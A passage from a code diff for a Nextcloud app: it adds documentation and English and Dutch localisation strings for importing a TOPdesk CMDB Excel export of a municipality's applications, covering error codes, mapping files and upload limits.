data. | Split the export and import the parts one after the other. | +| `MISSING_RECORDS_UNSUPPORTED` | The request asked to mark or remove records missing from the export. Only keeping them is supported. | Not reachable from the section; reported for API callers. | +| `MAPPING_UNAVAILABLE` | OpenRegister's mapping engine is missing, or one of the mapping files is invalid. | Update OpenRegister. If you changed a mapping file, check it against the Nextcloud log. | +| `READER_UNAVAILABLE` | The Excel reader that ships with OpenRegister cannot be loaded. | Make sure OpenRegister is installed and enabled. | +| `NOT_CONFIGURED` | The stackiq register or its schemas cannot be found. | Run **Auto Configure** at the top of the stackiq admin settings. | +| `IMPORT_FAILED` | Something unexpected went wrong. | The Nextcloud log has the details. | + +A message that you are not signed in, not an administrator, or that your +session expired comes from Nextcloud itself: sign in again, use an +administrator account, or reload the page. + +## Adjusting the mapping + +The mapping from columns to fields is not in code. It is a set of JSON files +in `lib/Settings/cmdb-import/`, executed by OpenRegister's mapping engine: + +| File | What it maps | +|---|---| +| `topdesk-profile.json` | the sheets, the constant each sheet adds to its rows (`Beheer`) and the columns it is known to lack, the match column, the required, date and id columns, the placeholder values that mean empty, the limits, and which pack is used for which target | +| `topdesk-module.json` | a row to the module (hosting model and BBN lookups) | +| `topdesk-manufacturer.json` | "Vendor" to the Supplier organisation | +| `topdesk-municipality.json` | a typed municipality name to a new organisation | +| `topdesk-usage.json` | a row to the usage (status and TIME lookups, dates, annotation) | +| `topdesk-business-owner.json` | the owner columns | + +Each pack has a list of `fieldMappings`, one per column: `source` (the column +name in the export), `target` (the field), optionally `required`, and a +`transform` such as `trim`, `date` or a `lookup` with a `map` of export values +to stored values. For example, to accept a new "Applicatiesoort" value, add +it to the `map` of the hosting-model lookup in `topdesk-module.json`: + +```json +"Cloud": ["SaaS"] +``` + +To accept a new "Applicatie Status" value, add it to the `map` of the status +lookup in `topdesk-usage.json`. The packs are checked by OpenRegister when an import +starts; an invalid pack stops the import with `MAPPING_UNAVAILABLE` before +any row is read. A mapping file changed on the server is overwritten by the +next app update, so propose lasting changes to the app itself. diff --git a/l10n/en.js b/l10n/en.js index a2dd9df92..d125ec5cf 100644 --- a/l10n/en.js +++ b/l10n/en.js @@ -955,7 +955,121 @@ OC.L10N.register( "The currency of the costs, as a three-letter ISO 4217 code.": "The currency of the costs, as a three-letter ISO 4217 code.", "The organisation this contract or licence was bought from.": "The organisation this contract or licence was bought from.", "TOPdesk asset template id": "TOPdesk asset template id", - "TOPdesk needs a template to create an asset. Copy the id of your Application template from TOPdesk.": "TOPdesk needs a template to create an asset. Copy the id of your Application template from TOPdesk." + "TOPdesk needs a template to create an asset. Copy the id of your Application template from TOPdesk.": "TOPdesk needs a template to create an asset. Copy the id of your Application template from TOPdesk.", + "{processed} of {total} rows processed": "{processed} of {total} rows processed", + "{size} KB": "{size} KB", + "{size} MB": "{size} MB", + "A new municipality \"{name}\" is created, unless one with this name already exists.": "A new municipality \"{name}\" is created, unless one with this name already exists.", + "A sheet has more rows than the import can process.": "A sheet has more rows than the import can process.", + "A source sheet may hold at most 10,000 rows. Split the export and import the parts one after the other.": "A source sheet may hold at most 10,000 rows. Split the export and import the parts one after the other.", + "All outcomes": "All outcomes", + "Check the connection and try again.": "Check the connection and try again.", + "Choose a municipality first.": "Choose a municipality first.", + "Choose or type a municipality": "Choose or type a municipality", + "Choose the TOPdesk export": "Choose the TOPdesk export", + "Choose the TOPdesk export and try again.": "Choose the TOPdesk export and try again.", + "CMDB import": "CMDB import", + "Created": "Created", + "Each application row of the export becomes or updates an application, its vendor, and a usage that links it to the chosen municipality. The application owner becomes a contact person of the municipality in Nextcloud Contacts; owners are never shown to the public.": "Each application row of the export becomes or updates an application, its vendor, and a usage that links it to the chosen municipality. The application owner becomes a contact person of the municipality in Nextcloud Contacts; owners are never shown to the public.", + "Error code: {code}": "Error code: {code}", + "Excel workbook (.xlsx), at most 10 MB, with the sheet \"Onbeh Applicaties CMDB\" or \"Beheerde Applicaties CMDB\".": "Excel workbook (.xlsx), at most 10 MB, with the sheet \"Onbeh Applicaties CMDB\" or \"Beheerde Applicaties CMDB\".", + "Existing municipalities could not be loaded. You can still type the name of a municipality.": "Existing municipalities could not be loaded. You can still type the name of a municipality.", + "Expected a sheet named \"{first}\" or \"{second}\". Sheet names must match exactly.": "Expected a sheet named \"{first}\" or \"{second}\". Sheet names must match exactly.", + "Failed": "Failed", + "Import": "Import", + "Import a TOPdesk CMDB export (.xlsx) as the applications one municipality uses": "Import a TOPdesk CMDB export (.xlsx) as the applications one municipality uses", + "Import finished. The municipality {name} was created. {read} rows read: {created} created, {updated} updated, {unchanged} unchanged.": "Import finished. The municipality {name} was created. {read} rows read: {created} created, {updated} updated, {unchanged} unchanged.", + "Import for {name} cancelled after {read} rows.": "Import for {name} cancelled after {read} rows.", + "Import for {name} finished. {read} rows read: {created} created, {updated} updated, {unchanged} unchanged.": "Import for {name} finished. {read} rows read: {created} created, {updated} updated, {unchanged} unchanged.", + "Import progress": "Import progress", + "Importing a newer export again updates the same applications, matched on APPID per municipality. Applications missing from it are left as they are.": "Importing a newer export again updates the same applications, matched on APPID per municipality. Applications missing from it are left as they are.", + "Importing the export…": "Importing the export…", + "Importing…": "Importing…", + "APPID": "APPID", + "Municipality": "Municipality", + "No file was uploaded.": "No file was uploaded.", + "No rows with this outcome": "No rows with this outcome", + "Nothing more is known on this page; the Nextcloud log has the details.": "Nothing more is known on this page; the Nextcloud log has the details.", + "Only Nextcloud administrators can import a CMDB export.": "Only Nextcloud administrators can import a CMDB export.", + "OpenRegister's mapping engine is missing or a mapping file is invalid. Update OpenRegister and check the Nextcloud log.": "OpenRegister's mapping engine is missing or a mapping file is invalid. Update OpenRegister and check the Nextcloud log.", + "Outcome": "Outcome", + "Pick an existing municipality or type the name of a new one.": "Pick an existing municipality or type the name of a new one.", + "Pick an existing organisation of type Municipality, or type a new name and press Enter.": "Pick an existing organisation of type Municipality, or type a new name and press Enter.", + "Pick an organisation of type Municipality, or type the name of a new one.": "Pick an organisation of type Municipality, or type the name of a new one.", + "Reasons and warnings": "Reasons and warnings", + "Records missing from the export can only be kept.": "Records missing from the export can only be kept.", + "Reload the page and try again.": "Reload the page and try again.", + "Remove sheets the import does not read, or split the export, and try again.": "Remove sheets the import does not read, or split the export, and try again.", + "Row": "Row", + "Row 1 holds the column names. \"APPID\" and \"Applicatie Naam\" are required; column order does not matter.": "Row 1 holds the column names. \"APPID\" and \"Applicatie Naam\" are required; column order does not matter.", + "Rows": "Rows", + "Rows read": "Rows read", + "Save the TOPdesk export as an Excel workbook (.xlsx). CSV, .xls and macro-enabled .xlsm files are not accepted.": "Save the TOPdesk export as an Excel workbook (.xlsx). CSV, .xls and macro-enabled .xlsm files are not accepted.", + "Sheet": "Sheet", + "Show rows with outcome": "Show rows with outcome", + "Sign in again and retry the import.": "Sign in again and retry the import.", + "Skipped": "Skipped", + "The chosen organisation is not a municipality.": "The chosen organisation is not a municipality.", + "The columns \"APPID\" and \"Applicatie Naam\" are required on every source sheet. Add the column to the export and try again. Nothing was imported.": "The columns \"APPID\" and \"Applicatie Naam\" are required on every source sheet. Add the column to the export and try again. Nothing was imported.", + "The Excel reader is not available.": "The Excel reader is not available.", + "The file": "The file", + "The file is larger than 10 MB.": "The file is larger than 10 MB.", + "The import failed unexpectedly.": "The import failed unexpectedly.", + "The import mapping cannot run.": "The import mapping cannot run.", + "The import reads workbooks with the spreadsheet library that ships with OpenRegister. Make sure OpenRegister is installed and enabled.": "The import reads workbooks with the spreadsheet library that ships with OpenRegister. Make sure OpenRegister is installed and enabled.", + "The import was cancelled. The rows processed before it stopped are kept.": "The import was cancelled. The rows processed before it stopped are kept.", + "The organisation register is not configured, so existing municipalities cannot be listed. You can still type the name of a municipality.": "The organisation register is not configured, so existing municipalities cannot be listed. You can still type the name of a municipality.", + "The server could not be reached.": "The server could not be reached.", + "The sheet \"{sheet}\" has no column \"{column}\".": "The sheet \"{sheet}\" has no column \"{column}\".", + "The sheets \"Onbeh Applicaties CMDB\" (applications without arranged maintenance) and \"Beheerde Applicaties CMDB\" (with arranged maintenance) are read; other sheets, including the \"Invoer\" sheets, are ignored.": "The sheets \"Onbeh Applicaties CMDB\" (applications without arranged maintenance) and \"Beheerde Applicaties CMDB\" (with arranged maintenance) are read; other sheets, including the \"Invoer\" sheets, are ignored.", + "The workbook has none of the sheets the import reads.": "The workbook has none of the sheets the import reads.", + "This file is not an Excel workbook (.xlsx).": "This file is not an Excel workbook (.xlsx).", + "This import is no longer running.": "This import is no longer running.", + "Unchanged": "Unchanged", + "Update existing records": "Update existing records", + "Updated": "Updated", + "Warnings": "Warnings", + "Warnings for the whole file": "Warnings for the whole file", + "When off, applications imported before are left as they are and reported as skipped.": "When off, applications imported before are left as they are and reported as skipped.", + "You are not signed in.": "You are not signed in.", + "Your session has expired.": "Your session has expired.", + "Stackiq is not configured for the import.": "Stackiq is not configured for the import.", + "The sheet \"{sheet}\" has more rows than the import can process.": "The sheet \"{sheet}\" has more rows than the import can process.", + "The stackiq register or its schemas cannot be found. Run Auto Configure at the top of this page, then try again.": "The stackiq register or its schemas cannot be found. Run Auto Configure at the top of this page, then try again.", + "Choose a municipality or enter the name of a new one.": "Choose a municipality or enter the name of a new one.", + "No running CMDB import has this id.": "No running CMDB import has this id.", + "Only keeping records that are missing from the export is supported.": "Only keeping records that are missing from the export is supported.", + "Sheet \"%1$s\" has more than %2$s rows.": "Sheet \"%1$s\" has more than %2$s rows.", + "Sheet \"%1$s\" has no column \"%2$s\".": "Sheet \"%1$s\" has no column \"%2$s\".", + "Stackiq is not configured: the register or its schemas cannot be found.": "Stackiq is not configured: the register or its schemas cannot be found.", + "The Excel reader is not available: OpenRegister is missing or incomplete.": "The Excel reader is not available: OpenRegister is missing or incomplete.", + "The file is larger than the maximum of %s MB.": "The file is larger than the maximum of %s MB.", + "The file is not an Excel workbook (.xlsx).": "The file is not an Excel workbook (.xlsx).", + "The import failed. The details are in the Nextcloud log.": "The import failed. The details are in the Nextcloud log.", + "The import mapping cannot run: OpenRegister is missing or a mapping file is invalid.": "The import mapping cannot run: OpenRegister is missing or a mapping file is invalid.", + "The workbook has neither of the sheets %s.": "The workbook has neither of the sheets %s.", + "Column \"%1$s\": %2$s": "Column \"%1$s\": %2$s", + "Optional column \"%s\" not found": "Optional column \"%s\" not found", + "Owner from column \"%s\" could not be resolved": "Owner from column \"%s\" could not be resolved", + "Owner from column \"%s\" could not be resolved in Nextcloud Contacts": "Owner from column \"%s\" could not be resolved in Nextcloud Contacts", + "Owners skipped: Nextcloud Contacts is unavailable": "Owners skipped: Nextcloud Contacts is unavailable", + "duplicate %s in file": "duplicate %s in file", + "exists": "exists", + "missing %s": "missing %s", + "step \"%1$s\" failed: %2$s": "step \"%1$s\" failed: %2$s", + "step \"%s\" failed": "step \"%s\" failed", + "Column \"%s\": formula without a cached value, read as empty": "Column \"%s\": formula without a cached value, read as empty", + "Formula cells are read as the value Excel saved with the workbook; formulas are never calculated. Save the workbook in Excel before importing it.": "Formula cells are read as the value Excel saved with the workbook; formulas are never calculated. Save the workbook in Excel before importing it.", + "Source id": "Source id", + "The code of the application in the source system it was imported from, such as the TOPdesk Applicatie Code (the Middel-ID). Shown for reference; it can change in the source, so it is not used to match records.": "The code of the application in the source system it was imported from, such as the TOPdesk Applicatie Code (the Middel-ID). Shown for reference; it can change in the source, so it is not used to match records.", + "Source number": "Source number", + "The application number in the source system, such as TOPdesk's APPID (ICT Applicatienummer). A repeated CMDB import matches on it, through the import key.": "The application number in the source system, such as TOPdesk's APPID (ICT Applicatienummer). A repeated CMDB import matches on it, through the import key.", + "Import key": "Import key", + "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; do not edit.": "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; do not edit.", + "Created in source": "Created in source", + "The date the application was registered in the source system.": "The date the application was registered in the source system.", + "Changed in source": "Changed in source", + "The date the application was last changed in the source system.": "The date the application was last changed in the source system." }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/en.json b/l10n/en.json index fbee94c64..4ec00a0f9 100644 --- a/l10n/en.json +++ b/l10n/en.json @@ -954,6 +954,120 @@ "The currency of the costs, as a three-letter ISO 4217 code.": "The currency of the costs, as a three-letter ISO 4217 code.", "The organisation this contract or licence was bought from.": "The organisation this contract or licence was bought from.", "TOPdesk asset template id": "TOPdesk asset template id", - "TOPdesk needs a template to create an asset. Copy the id of your Application template from TOPdesk.": "TOPdesk needs a template to create an asset. Copy the id of your Application template from TOPdesk." + "TOPdesk needs a template to create an asset. Copy the id of your Application template from TOPdesk.": "TOPdesk needs a template to create an asset. Copy the id of your Application template from TOPdesk.", + "{processed} of {total} rows processed": "{processed} of {total} rows processed", + "{size} KB": "{size} KB", + "{size} MB": "{size} MB", + "A new municipality \"{name}\" is created, unless one with this name already exists.": "A new municipality \"{name}\" is created, unless one with this name already exists.", + "A sheet has more rows than the import can process.": "A sheet has more rows than the import can process.", + "A source sheet may hold at most 10,000 rows. Split the export and import the parts one after the other.": "A source sheet may hold at most 10,000 rows. Split the export and import the parts one after the other.", + "All outcomes": "All outcomes", + "Check the connection and try again.": "Check the connection and try again.", + "Choose a municipality first.": "Choose a municipality first.", + "Choose or type a municipality": "Choose or type a municipality", + "Choose the TOPdesk export": "Choose the TOPdesk export", + "Choose the TOPdesk export and try again.": "Choose the TOPdesk export and try again.", + "CMDB import": "CMDB import", + "Created": "Created", + "Each application row of the export becomes or updates an application, its vendor, and a usage that links it to the chosen municipality. The application owner becomes a contact person of the municipality in Nextcloud Contacts; owners are never shown to the public.": "Each application row of the export becomes or updates an application, its vendor, and a usage that links it to the chosen municipality. The application owner becomes a contact person of the municipality in Nextcloud Contacts; owners are never shown to the public.", + "Error code: {code}": "Error code: {code}", + "Excel workbook (.xlsx), at most 10 MB, with the sheet \"Onbeh Applicaties CMDB\" or \"Beheerde Applicaties CMDB\".": "Excel workbook (.xlsx), at most 10 MB, with the sheet \"Onbeh Applicaties CMDB\" or \"Beheerde Applicaties CMDB\".", + "Existing municipalities could not be loaded. You can still type the name of a municipality.": "Existing municipalities could not be loaded. You can still type the name of a municipality.", + "Expected a sheet named \"{first}\" or \"{second}\". Sheet names must match exactly.": "Expected a sheet named \"{first}\" or \"{second}\". Sheet names must match exactly.", + "Failed": "Failed", + "Import": "Import", + "Import a TOPdesk CMDB export (.xlsx) as the applications one municipality uses": "Import a TOPdesk CMDB export (.xlsx) as the applications one municipality uses", + "Import finished. The municipality {name} was created. {read} rows read: {created} created, {updated} updated, {unchanged} unchanged.": "Import finished. The municipality {name} was created. {read} rows read: {created} created, {updated} updated, {unchanged} unchanged.", + "Import for {name} cancelled after {read} rows.": "Import for {name} cancelled after {read} rows.", + "Import for {name} finished. {read} rows read: {created} created, {updated} updated, {unchanged} unchanged.": "Import for {name} finished. {read} rows read: {created} created, {updated} updated, {unchanged} unchanged.", + "Import progress": "Import progress", + "Importing a newer export again updates the same applications, matched on APPID per municipality. Applications missing from it are left as they are.": "Importing a newer export again updates the same applications, matched on APPID per municipality. Applications missing from it are left as they are.", + "Importing the export…": "Importing the export…", + "Importing…": "Importing…", + "APPID": "APPID", + "Municipality": "Municipality", + "No file was uploaded.": "No file was uploaded.", + "No rows with this outcome": "No rows with this outcome", + "Nothing more is known on this page; the Nextcloud log has the details.": "Nothing more is known on this page; the Nextcloud log has the details.", + "Only Nextcloud administrators can import a CMDB export.": "Only Nextcloud administrators can import a CMDB export.", + "OpenRegister's mapping engine is missing or a mapping file is invalid. Update OpenRegister and check the Nextcloud log.": "OpenRegister's mapping engine is missing or a mapping file is invalid. Update OpenRegister and check the Nextcloud log.", + "Outcome": "Outcome", + "Pick an existing municipality or type the name of a new one.": "Pick an existing municipality or type the name of a new one.", + "Pick an existing organisation of type Municipality, or type a new name and press Enter.": "Pick an existing organisation of type Municipality, or type a new name and press Enter.", + "Pick an organisation of type Municipality, or type the name of a new one.": "Pick an organisation of type Municipality, or type the name of a new one.", + "Reasons and warnings": "Reasons and warnings", + "Records missing from the export can only be kept.": "Records missing from the export can only be kept.", + "Reload the page and try again.": "Reload the page and try again.", + "Remove sheets the import does not read, or split the export, and try again.": "Remove sheets the import does not read, or split the export, and try again.", + "Row": "Row", + "Row 1 holds the column names. \"APPID\" and \"Applicatie Naam\" are required; column order does not matter.": "Row 1 holds the column names. \"APPID\" and \"Applicatie Naam\" are required; column order does not matter.", + "Rows": "Rows", + "Rows read": "Rows read", + "Save the TOPdesk export as an Excel workbook (.xlsx). CSV, .xls and macro-enabled .xlsm files are not accepted.": "Save the TOPdesk export as an Excel workbook (.xlsx). CSV, .xls and macro-enabled .xlsm files are not accepted.", + "Sheet": "Sheet", + "Show rows with outcome": "Show rows with outcome", + "Sign in again and retry the import.": "Sign in again and retry the import.", + "Skipped": "Skipped", + "The chosen organisation is not a municipality.": "The chosen organisation is not a municipality.", + "The columns \"APPID\" and \"Applicatie Naam\" are required on every source sheet. Add the column to the export and try again. Nothing was imported.": "The columns \"APPID\" and \"Applicatie Naam\" are required on every source sheet. Add the column to the export and try again. Nothing was imported.", + "The Excel reader is not available.": "The Excel reader is not available.", + "The file": "The file", + "The file is larger than 10 MB.": "The file is larger than 10 MB.", + "The import failed unexpectedly.": "The import failed unexpectedly.", + "The import mapping cannot run.": "The import mapping cannot run.", + "The import reads workbooks with the spreadsheet library that ships with OpenRegister. Make sure OpenRegister is installed and enabled.": "The import reads workbooks with the spreadsheet library that ships with OpenRegister. Make sure OpenRegister is installed and enabled.", + "The import was cancelled. The rows processed before it stopped are kept.": "The import was cancelled. The rows processed before it stopped are kept.", + "The organisation register is not configured, so existing municipalities cannot be listed. You can still type the name of a municipality.": "The organisation register is not configured, so existing municipalities cannot be listed. You can still type the name of a municipality.", + "The server could not be reached.": "The server could not be reached.", + "The sheet \"{sheet}\" has no column \"{column}\".": "The sheet \"{sheet}\" has no column \"{column}\".", + "The sheets \"Onbeh Applicaties CMDB\" (applications without arranged maintenance) and \"Beheerde Applicaties CMDB\" (with arranged maintenance) are read; other sheets, including the \"Invoer\" sheets, are ignored.": "The sheets \"Onbeh Applicaties CMDB\" (applications without arranged maintenance) and \"Beheerde Applicaties CMDB\" (with arranged maintenance) are read; other sheets, including the \"Invoer\" sheets, are ignored.", + "The workbook has none of the sheets the import reads.": "The workbook has none of the sheets the import reads.", + "This file is not an Excel workbook (.xlsx).": "This file is not an Excel workbook (.xlsx).", + "This import is no longer running.": "This import is no longer running.", + "Unchanged": "Unchanged", + "Update existing records": "Update existing records", + "Updated": "Updated", + "Warnings": "Warnings", + "Warnings for the whole file": "Warnings for the whole file", + "When off, applications imported before are left as they are and reported as skipped.": "When off, applications imported before are left as they are and reported as skipped.", + "You are not signed in.": "You are not signed in.", + "Your session has expired.": "Your session has expired.", + "Stackiq is not configured for the import.": "Stackiq is not configured for the import.", + "The sheet \"{sheet}\" has more rows than the import can process.": "The sheet \"{sheet}\" has more rows than the import can process.", + "The stackiq register or its schemas cannot be found. Run Auto Configure at the top of this page, then try again.": "The stackiq register or its schemas cannot be found. Run Auto Configure at the top of this page, then try again.", + "Choose a municipality or enter the name of a new one.": "Choose a municipality or enter the name of a new one.", + "No running CMDB import has this id.": "No running CMDB import has this id.", + "Only keeping records that are missing from the export is supported.": "Only keeping records that are missing from the export is supported.", + "Sheet \"%1$s\" has more than %2$s rows.": "Sheet \"%1$s\" has more than %2$s rows.", + "Sheet \"%1$s\" has no column \"%2$s\".": "Sheet \"%1$s\" has no column \"%2$s\".", + "Stackiq is not configured: the register or its schemas cannot be found.": "Stackiq is not configured: the register or its schemas cannot be found.", + "The Excel reader is not available: OpenRegister is missing or incomplete.": "The Excel reader is not available: OpenRegister is missing or incomplete.", + "The file is larger than the maximum of %s MB.": "The file is larger than the maximum of %s MB.", + "The file is not an Excel workbook (.xlsx).": "The file is not an Excel workbook (.xlsx).", + "The import failed. The details are in the Nextcloud log.": "The import failed. The details are in the Nextcloud log.", + "The import mapping cannot run: OpenRegister is missing or a mapping file is invalid.": "The import mapping cannot run: OpenRegister is missing or a mapping file is invalid.", + "The workbook has neither of the sheets %s.": "The workbook has neither of the sheets %s.", + "Column \"%1$s\": %2$s": "Column \"%1$s\": %2$s", + "Optional column \"%s\" not found": "Optional column \"%s\" not found", + "Owner from column \"%s\" could not be resolved": "Owner from column \"%s\" could not be resolved", + "Owner from column \"%s\" could not be resolved in Nextcloud Contacts": "Owner from column \"%s\" could not be resolved in Nextcloud Contacts", + "Owners skipped: Nextcloud Contacts is unavailable": "Owners skipped: Nextcloud Contacts is unavailable", + "duplicate %s in file": "duplicate %s in file", + "exists": "exists", + "missing %s": "missing %s", + "step \"%1$s\" failed: %2$s": "step \"%1$s\" failed: %2$s", + "step \"%s\" failed": "step \"%s\" failed", + "Column \"%s\": formula without a cached value, read as empty": "Column \"%s\": formula without a cached value, read as empty", + "Formula cells are read as the value Excel saved with the workbook; formulas are never calculated. Save the workbook in Excel before importing it.": "Formula cells are read as the value Excel saved with the workbook; formulas are never calculated. Save the workbook in Excel before importing it.", + "Source id": "Source id", + "The code of the application in the source system it was imported from, such as the TOPdesk Applicatie Code (the Middel-ID). Shown for reference; it can change in the source, so it is not used to match records.": "The code of the application in the source system it was imported from, such as the TOPdesk Applicatie Code (the Middel-ID). Shown for reference; it can change in the source, so it is not used to match records.", + "Source number": "Source number", + "The application number in the source system, such as TOPdesk's APPID (ICT Applicatienummer). A repeated CMDB import matches on it, through the import key.": "The application number in the source system, such as TOPdesk's APPID (ICT Applicatienummer). A repeated CMDB import matches on it, through the import key.", + "Import key": "Import key", + "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; do not edit.": "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; do not edit.", + "Created in source": "Created in source", + "The date the application was registered in the source system.": "The date the application was registered in the source system.", + "Changed in source": "Changed in source", + "The date the application was last changed in the source system.": "The date the application was last changed in the source system." } } diff --git a/l10n/nl.js b/l10n/nl.js index ea47b67c6..563c72e95 100644 --- a/l10n/nl.js +++ b/l10n/nl.js @@ -1025,7 +1025,121 @@ OC.L10N.register( "The currency of the costs, as a three-letter ISO 4217 code.": "De valuta van de kosten, als ISO 4217-code van drie letters.", "The organisation this contract or licence was bought from.": "De organisatie waarvan dit contract of deze licentie is gekocht.", "TOPdesk asset template id": "Id van het TOPdesk-assetsjabloon", - "TOPdesk needs a template to create an asset. Copy the id of your Application template from TOPdesk.": "TOPdesk heeft een sjabloon nodig om een asset aan te maken. Kopieer het id van je sjabloon Applicatie uit TOPdesk." + "TOPdesk needs a template to create an asset. Copy the id of your Application template from TOPdesk.": "TOPdesk heeft een sjabloon nodig om een asset aan te maken. Kopieer het id van je sjabloon Applicatie uit TOPdesk.", + "{processed} of {total} rows processed": "{processed} van {total} rijen verwerkt", + "{size} KB": "{size} kB", + "{size} MB": "{size} MB", + "A new municipality \"{name}\" is created, unless one with this name already exists.": "Er wordt een nieuwe gemeente \"{name}\" aangemaakt, tenzij er al een gemeente met deze naam bestaat.", + "A sheet has more rows than the import can process.": "Een tabblad heeft meer rijen dan de import kan verwerken.", + "A source sheet may hold at most 10,000 rows. Split the export and import the parts one after the other.": "Een brontabblad mag hoogstens 10.000 rijen bevatten. Splits de export en importeer de delen na elkaar.", + "All outcomes": "Alle resultaten", + "Check the connection and try again.": "Controleer de verbinding en probeer het opnieuw.", + "Choose a municipality first.": "Kies eerst een gemeente.", + "Choose or type a municipality": "Kies of typ een gemeente", + "Choose the TOPdesk export": "Kies de TOPdesk-export", + "Choose the TOPdesk export and try again.": "Kies de TOPdesk-export en probeer het opnieuw.", + "CMDB import": "CMDB-import", + "Created": "Aangemaakt", + "Each application row of the export becomes or updates an application, its vendor, and a usage that links it to the chosen municipality. The application owner becomes a contact person of the municipality in Nextcloud Contacts; owners are never shown to the public.": "Elke applicatierij uit de export wordt een applicatie (of werkt die bij), met de leverancier van de software (Vendor) en een gebruik dat de applicatie aan de gekozen gemeente koppelt. De applicatie-eigenaar wordt een contactpersoon van de gemeente in Nextcloud Contacten; eigenaren worden nooit openbaar getoond.", + "Error code: {code}": "Foutcode: {code}", + "Excel workbook (.xlsx), at most 10 MB, with the sheet \"Onbeh Applicaties CMDB\" or \"Beheerde Applicaties CMDB\".": "Excel-werkmap (.xlsx), hoogstens 10 MB, met het tabblad \"Onbeh Applicaties CMDB\" of \"Beheerde Applicaties CMDB\".", + "Existing municipalities could not be loaded. You can still type the name of a municipality.": "Bestaande gemeenten konden niet worden geladen. U kunt nog steeds de naam van een gemeente typen.", + "Expected a sheet named \"{first}\" or \"{second}\". Sheet names must match exactly.": "Verwacht werd een tabblad met de naam \"{first}\" of \"{second}\". De naam van het tabblad moet precies overeenkomen.", + "Failed": "Mislukt", + "Import": "Importeren", + "Import a TOPdesk CMDB export (.xlsx) as the applications one municipality uses": "Importeer een TOPdesk CMDB-export (.xlsx) als de applicaties die één gemeente gebruikt", + "Import finished. The municipality {name} was created. {read} rows read: {created} created, {updated} updated, {unchanged} unchanged.": "Import voltooid. De gemeente {name} is aangemaakt. {read} rijen gelezen: {created} aangemaakt, {updated} bijgewerkt, {unchanged} ongewijzigd.", + "Import for {name} cancelled after {read} rows.": "Import voor {name} geannuleerd na {read} rijen.", + "Import for {name} finished. {read} rows read: {created} created, {updated} updated, {unchanged} unchanged.": "Import voor {name} voltooid. {read} rijen gelezen: {created} aangemaakt, {updated} bijgewerkt, {unchanged} ongewijzigd.", + "Import progress": "Voortgang van de import", + "Importing a newer export again updates the same applications, matched on APPID per municipality. Applications missing from it are left as they are.": "Een nieuwere export opnieuw importeren werkt dezelfde applicaties bij, herkend aan het APPID per gemeente. Applicaties die er niet meer in staan, blijven zoals ze zijn.", + "Importing the export…": "De export wordt geïmporteerd…", + "Importing…": "Importeren…", + "APPID": "APPID", + "Municipality": "Gemeente", + "No file was uploaded.": "Er is geen bestand geüpload.", + "No rows with this outcome": "Geen rijen met dit resultaat", + "Nothing more is known on this page; the Nextcloud log has the details.": "Op deze pagina is niet meer bekend; het Nextcloud-logboek bevat de details.", + "Only Nextcloud administrators can import a CMDB export.": "Alleen Nextcloud-beheerders kunnen een CMDB-export importeren.", + "OpenRegister's mapping engine is missing or a mapping file is invalid. Update OpenRegister and check the Nextcloud log.": "De mapping-engine van OpenRegister ontbreekt of een mappingbestand is ongeldig. Werk OpenRegister bij en bekijk het Nextcloud-logboek.", + "Outcome": "Resultaat", + "Pick an existing municipality or type the name of a new one.": "Kies een bestaande gemeente of typ de naam van een nieuwe.", + "Pick an existing organisation of type Municipality, or type a new name and press Enter.": "Kies een bestaande organisatie van het type Gemeente, of typ een nieuwe naam en druk op Enter.", + "Pick an organisation of type Municipality, or type the name of a new one.": "Kies een organisatie van het type Gemeente, of typ de naam van een nieuwe.", + "Reasons and warnings": "Redenen en waarschuwingen", + "Records missing from the export can only be kept.": "Records die in de export ontbreken, kunnen alleen worden behouden.", + "Reload the page and try again.": "Laad de pagina opnieuw en probeer het nog eens.", + "Remove sheets the import does not read, or split the export, and try again.": "Verwijder tabbladen die de import niet leest, of splits de export, en probeer het opnieuw.", + "Row": "Rij", + "Row 1 holds the column names. \"APPID\" and \"Applicatie Naam\" are required; column order does not matter.": "Rij 1 bevat de kolomnamen. \"APPID\" en \"Applicatie Naam\" zijn verplicht; de volgorde van de kolommen maakt niet uit.", + "Rows": "Rijen", + "Rows read": "Rijen gelezen", + "Save the TOPdesk export as an Excel workbook (.xlsx). CSV, .xls and macro-enabled .xlsm files are not accepted.": "Sla de TOPdesk-export op als Excel-werkmap (.xlsx). CSV-, .xls- en .xlsm-bestanden met macro's worden niet geaccepteerd.", + "Sheet": "Tabblad", + "Show rows with outcome": "Toon rijen met resultaat", + "Sign in again and retry the import.": "Meld u opnieuw aan en probeer de import nog eens.", + "Skipped": "Overgeslagen", + "The chosen organisation is not a municipality.": "De gekozen organisatie is geen gemeente.", + "The columns \"APPID\" and \"Applicatie Naam\" are required on every source sheet. Add the column to the export and try again. Nothing was imported.": "De kolommen \"APPID\" en \"Applicatie Naam\" zijn op elk brontabblad verplicht. Voeg de kolom toe aan de export en probeer het opnieuw. Er is niets geïmporteerd.", + "The Excel reader is not available.": "De Excel-lezer is niet beschikbaar.", + "The file": "Het bestand", + "The file is larger than 10 MB.": "Het bestand is groter dan 10 MB.", + "The import failed unexpectedly.": "De import is onverwacht mislukt.", + "The import mapping cannot run.": "De mapping van de import kan niet worden uitgevoerd.", + "The import reads workbooks with the spreadsheet library that ships with OpenRegister. Make sure OpenRegister is installed and enabled.": "De import leest werkmappen met de spreadsheetbibliotheek die met OpenRegister wordt meegeleverd. Zorg dat OpenRegister is geïnstalleerd en ingeschakeld.", + "The import was cancelled. The rows processed before it stopped are kept.": "De import is geannuleerd. De rijen die vóór het stoppen zijn verwerkt, blijven behouden.", + "The organisation register is not configured, so existing municipalities cannot be listed. You can still type the name of a municipality.": "Het organisatieregister is niet ingesteld, dus bestaande gemeenten kunnen niet worden getoond. U kunt nog steeds de naam van een gemeente typen.", + "The server could not be reached.": "De server is niet bereikbaar.", + "The sheet \"{sheet}\" has no column \"{column}\".": "Het tabblad \"{sheet}\" heeft geen kolom \"{column}\".", + "The sheets \"Onbeh Applicaties CMDB\" (applications without arranged maintenance) and \"Beheerde Applicaties CMDB\" (with arranged maintenance) are read; other sheets, including the \"Invoer\" sheets, are ignored.": "De tabbladen \"Onbeh Applicaties CMDB\" (applicaties zonder geregeld beheer) en \"Beheerde Applicaties CMDB\" (met geregeld beheer) worden gelezen; andere tabbladen, ook de \"Invoer\"-tabbladen, worden genegeerd.", + "The workbook has none of the sheets the import reads.": "De werkmap bevat geen van de tabbladen die de import leest.", + "This file is not an Excel workbook (.xlsx).": "Dit bestand is geen Excel-werkmap 